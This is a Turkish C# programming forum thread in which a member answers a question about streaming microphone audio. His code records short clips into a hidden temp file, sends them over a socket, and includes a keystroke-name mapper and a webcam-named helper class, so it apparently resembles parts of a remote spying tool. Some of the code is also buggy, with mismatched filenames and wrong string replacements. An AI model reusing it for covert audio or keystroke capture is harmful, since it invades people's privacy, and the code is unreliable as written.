Aktif KonularAktif Konular  Forum Üyelerini GösterÜye Listesi  TakvimTakvim  Forumu AraArama  YardımYardım
  Kayıt OlKayıt Ol  GirişGiriş
Visual C#
 C#nedir?com Forum : C# / .NET : Visual C#
Mesaj icon Konu: Mikrofondan Ses Alma Yanıt Yaz Yeni Konu Gönder
   

Yazar Mesaj
lfdlk
Newbie
Newbie


Kayıt Tarihi: 18 Mayıs 2012
Aktif Durum: Aktif Değil
Gönderilenler: 28
Alıntı lfdlk Cevaplabullet Konu: Mikrofondan Ses Alma
    Gönderim Zamanı: 24 Temmuz 2012 Saat 20:04
Merhabalar, Stream programı yapıyorum. Görüntü ve chat kısmını bitirdim.(SOKET programlamayla)

Fakat Mikrofondan ses alma konusunda takıldım. Ses alıp byte arraya çevirip belli aralıklarla stream yapmak istiyorum. Bu konuda bilgisi yada önerisi olan var mı?
IP
SalmanArslan
Senior Member
Senior Member


Kayıt Tarihi: 18 Temmuz 2010
Aktif Durum: Aktif Değil
Gönderilenler: 1051
Alıntı SalmanArslan Cevaplabullet Gönderim Zamanı: 24 Temmuz 2012 Saat 21:04

 while (true)
            {
                try
                {
                    mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);
                    mciSendString("record recsound", "", 0, 0);
                    Thread.Sleep(250);
                    mciSendString("save recsound C:\\Windows\\Temp\\rsagvgfd34.wav", "", 0, 0);
                    mciSendString("close recsound ", "", 0, 0);

                    byte[] komut = Encoding.ASCII.GetBytes("[~(35)~]");
                    byte[] ses = Dll.WeBCeTeSİ_Yardımcı.Dosyayı_BytaDonustur("C:\\Windows\\Temp\\rsavgfd34.wav");
                    byte[] YollanacakBayt = new byte[komut.Length + ses.Length];
                    Buffer.BlockCopy(komut, 0, YollanacakBayt, 0, komut.Length);
                    Buffer.BlockCopy(ses, 0, YollanacakBayt, komut.Length, ses.Length);
                    WeBCeTeSİ_Yardımcı.IstekYolla(YollanacakBayt, this.Text.Split('(')[0].Trim());
                    System.IO.File.Delete("C:\\Windows\\Temp\\rsagvgfd34.wav");
                }
                catch (Exception)
                {
                }
            }
04-07-2010 'da C Sharp'a Başladım.
IP
lfdlk
Newbie
Newbie


Kayıt Tarihi: 18 Mayıs 2012
Aktif Durum: Aktif Değil
Gönderilenler: 28
Alıntı lfdlk Cevaplabullet Gönderim Zamanı: 24 Temmuz 2012 Saat 21:08
Dll.WeBCeTeSİ_Yardımcı.Dosyayı_BytaDonustur ve mciSendString değişkenleri için gerekli usingler ve dllleri nerden bulabilirim?
IP
lfdlk
Newbie
Newbie


Kayıt Tarihi: 18 Mayıs 2012
Aktif Durum: Aktif Değil
Gönderilenler: 28
Alıntı lfdlk Cevaplabullet Gönderim Zamanı: 24 Temmuz 2012 Saat 21:53
Başka önerisi olan?
IP
SalmanArslan
Senior Member
Senior Member


Kayıt Tarihi: 18 Temmuz 2010
Aktif Durum: Aktif Değil
Gönderilenler: 1051
Alıntı SalmanArslan Cevaplabullet Gönderim Zamanı: 25 Temmuz 2012 Saat 00:10
ilk olarak ses kaydetmeye başlıyorum 250 salise kadar kayıt yapıyorum ve bu süreden sonra temp klasörüne kaydediyorum ardından bu dosyaı bayt formatına dönüştürüyorum daha sonra soket 'le karşı bağlantıya yolluyorum fakad karşı bağlantının gelen baytın ses olduğunu anlaması için baytın başına [~35~] gibi benim belirlediğim bir değeri tekrar bayta dönüştürüp ses dosyası artı belirttiğim karakterleri birleştirip soket ile karşı tarafa yolluyorum karşı tarfta ise bu gelen baytın ilk 0 dan 8 kadar olan veriyi stringe çeviriyorum eğer bu ise [~35~] ses çalıyorum yok eğer görüntü ise örneğin diğer işlemi yapıyorum sen sadece ses yollayacaksan bayt birleştirmene gerek yok. tam olarak neyi anlamdıysan elimden geldiği kadar yardım edeyim.

04-07-2010 'da C Sharp'a Başladım.
IP
GameMaster18
Groupie
Groupie


Kayıt Tarihi: 26 Eylül 2010
Aktif Durum: Aktif Değil
Gönderilenler: 152
Alıntı GameMaster18 Cevaplabullet Gönderim Zamanı: 04 Ağustos 2012 Saat 16:32
Dosyayı_BytaDonustur gibi bir method yazmışsın bu methodun içeriğini görebilir miyiz acaba?
Ne Mutlu Türk'üm Diyene
IP
SalmanArslan
Senior Member
Senior Member


Kayıt Tarihi: 18 Temmuz 2010
Aktif Durum: Aktif Değil
Gönderilenler: 1051
Alıntı SalmanArslan Cevaplabullet Gönderim Zamanı: 04 Ağustos 2012 Saat 23:06
o zaman yazdığım class bu idi içinden seç seçiçeğini takıldığın yerde sor bildiğim kadarıyla cevaplarım

   public struct WeBCeTeSİ_Yardımcı
    {
        public static byte[] DışardanGelenBaytDizisi = new byte[25598144];
        public static string SeçiliOlanNik = string.Empty;
        public static List<Kullanıcı> GelenBağlantıListesi = new List<Kullanıcı>();
        public static bool fd = false;
        public static sbyte İşlem = 0;
        public static int genişlikfarkı, yukseklıkfarkı;

        #region Metotlarım

        #region Byte[] Dizisini Temizliyoruz

        public static void BaytDizisiniTemizle()
        {
            Array.Clear(DışardanGelenBaytDizisi, 0, DışardanGelenBaytDizisi.Length);
        
        }
        #endregion

        public static void IstekYolla(string YollanacakKomudunum,string ipnumarasi)
        {
            try
            {
                List<Kullanıcı> k = WeBCeTeSİ_Yardımcı.GelenBağlantıListesi.FindAll(s => s.IpNumarası.Equals(ipnumarasi));
                if (k[0] != null)
                {                 
                    using (NetworkStream ns = new NetworkStream(k[0].SocketClient))
                    {
                        using (StreamWriter KomudYaz = new StreamWriter(ns))
                        {
                            KomudYaz.Write(YollanacakKomudunum);
                            KomudYaz.Close();
                            ns.Close();
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
        }
       
        public static void IstekYolla(byte[] d, string ipnumarasi)
        {
        List<Kullanıcı> k = WeBCeTeSİ_Yardımcı.GelenBağlantıListesi.FindAll(s => s.IpNumarası.Equals(ipnumarasi));
        if (k[0] != null)
        k[0].SocketClient.Send(d);
        }

        public static string GelenTuş(string BasılanTuş)
        {

            switch (BasılanTuş)
            {
                case "D0": BasılanTuş = BasılanTuş.Replace("D0", "0"); break;
                case "D1": BasılanTuş = BasılanTuş.Replace("D1", "1"); break;
                case "D2": BasılanTuş = BasılanTuş.Replace("D2", "2"); break;
                case "D3": BasılanTuş = BasılanTuş.Replace("D3", "3"); break;
                case "D4": BasılanTuş = BasılanTuş.Replace("D4", "4"); break;
                case "D5": BasılanTuş = BasılanTuş.Replace("D5", "5"); break;
                case "D6": BasılanTuş = BasılanTuş.Replace("D6", "6"); break;
                case "D7": BasılanTuş = BasılanTuş.Replace("D7", "7"); break;
                case "D8": BasılanTuş = BasılanTuş.Replace("D8", "8"); break;
                case "D9": BasılanTuş = BasılanTuş.Replace("D9", "9"); break;
                case "Oemtilde": BasılanTuş = BasılanTuş.Replace("Oemtilde", "ÇiftTırnak"); break;
                case "Oem8": BasılanTuş = BasılanTuş.Replace("Oem8", "*"); break;
                case "OemMinus": BasılanTuş = BasılanTuş.Replace("OemMinus", "-"); break;
                case "Oem4": BasılanTuş = BasılanTuş.Replace("Oem4", "ğ"); break;
                case "Oem6": BasılanTuş = BasılanTuş.Replace("Oem6", "ü"); break;
                case "Oemcomma": BasılanTuş = BasılanTuş.Replace("Oemcomma", ","); break;
                case "OemPeriod": BasılanTuş = BasılanTuş.Replace("OemPeriod", "."); break;
                case "OemPipe": BasılanTuş = BasılanTuş.Replace("ç", "."); break;
                case "Oem2": BasılanTuş = BasılanTuş.Replace("Oem2", "ö"); break;
                case "Oem102": BasılanTuş = BasılanTuş.Replace("Oem102", "<"); break;
                case "Subtract": BasılanTuş = BasılanTuş.Replace("Subtract", "-"); break;
                case "Add": BasılanTuş = BasılanTuş.Replace("Add", "+"); break;
                case "Divide": BasılanTuş = BasılanTuş.Replace("Divide", "/"); break;
                case "Multiply": BasılanTuş = BasılanTuş.Replace("Multiply", "*"); break;
                case "decimal": BasılanTuş = BasılanTuş.Replace("decimal", ","); break;
                case "Up": BasılanTuş = BasılanTuş.Replace("SubtUpract", "(YukarıOkİsareti)"); break;
                case "Down": BasılanTuş = BasılanTuş.Replace("Down", "(AssagıOkİsareti)"); break;
                case "Left": BasılanTuş = BasılanTuş.Replace("Left", "(SolaOkİsareti)"); break;
                case "Right": BasılanTuş = BasılanTuş.Replace("Right", "(SagaOkİsareti)"); break;
                case "NumPad0": BasılanTuş = BasılanTuş.Replace("NumPad0", "0"); break;
                case "NumPad1": BasılanTuş = BasılanTuş.Replace("NumPad1", "1"); break;
                case "NumPad2": BasılanTuş = BasılanTuş.Replace("NumPad2", "2"); break;
                case "NumPad3": BasılanTuş = BasılanTuş.Replace("NumPad3", "3"); break;
                case "NumPad4": BasılanTuş = BasılanTuş.Replace("NumPad4", "4"); break;
                case "NumPad5": BasılanTuş = BasılanTuş.Replace("NumPad5", "5"); break;
                case "NumPad6": BasılanTuş = BasılanTuş.Replace("NumPad6", "6"); break;
                case "NumPad7": BasılanTuş = BasılanTuş.Replace("NumPad7", "7"); break;
                case "NumPad8": BasılanTuş = BasılanTuş.Replace("NumPad8", "8"); break;
                case "NumPad9": BasılanTuş = BasılanTuş.Replace("NumPad9", "9"); break;
                case "Menu LMenu": BasılanTuş = BasılanTuş.Replace("Menu LMenu", "Alt"); break;

            }
            return BasılanTuş;
        }

        public static byte[] Dosyayı_BytaDonustur(String DosyaAdi)
        {           
            byte[] Dizi = null;
            using (FileStream dosya = new FileStream(DosyaAdi, FileMode.Open, FileAccess.Read))
            {
                try
                {
                    long Uzunluk;
                    Uzunluk= dosya.Length;
                    if (Uzunluk < 12632566)
                    {
                        Dizi = new byte[Uzunluk];
                        dosya.Read(Dizi, 0, (int)Uzunluk);
                        dosya.Flush();
                        dosya.Close();
                    }
                }
                finally  {  dosya.Dispose(); }
            }
            return Dizi;
        }
     
        #endregion
    }
04-07-2010 'da C Sharp'a Başladım.
IP
   

Yanıt Yaz Yeni Konu Gönder
Konuyu Yazdır Konuyu Yazdır

Forum Atla
Kapalı Foruma Yeni Konu Gönderme
Kapalı Forumdaki Konulara Cevap Yazma
Kapalı Forumda Cevapları Silme
Kapalı Forumdaki Cevapları Düzenleme
Kapalı Forumda Anket Açma
Kapalı Forumda Anketlerde Oy Kullanma

Bulletin Board Software by Web Wiz Forums version 8.03
Copyright ©2001-2006 Web Wiz Guide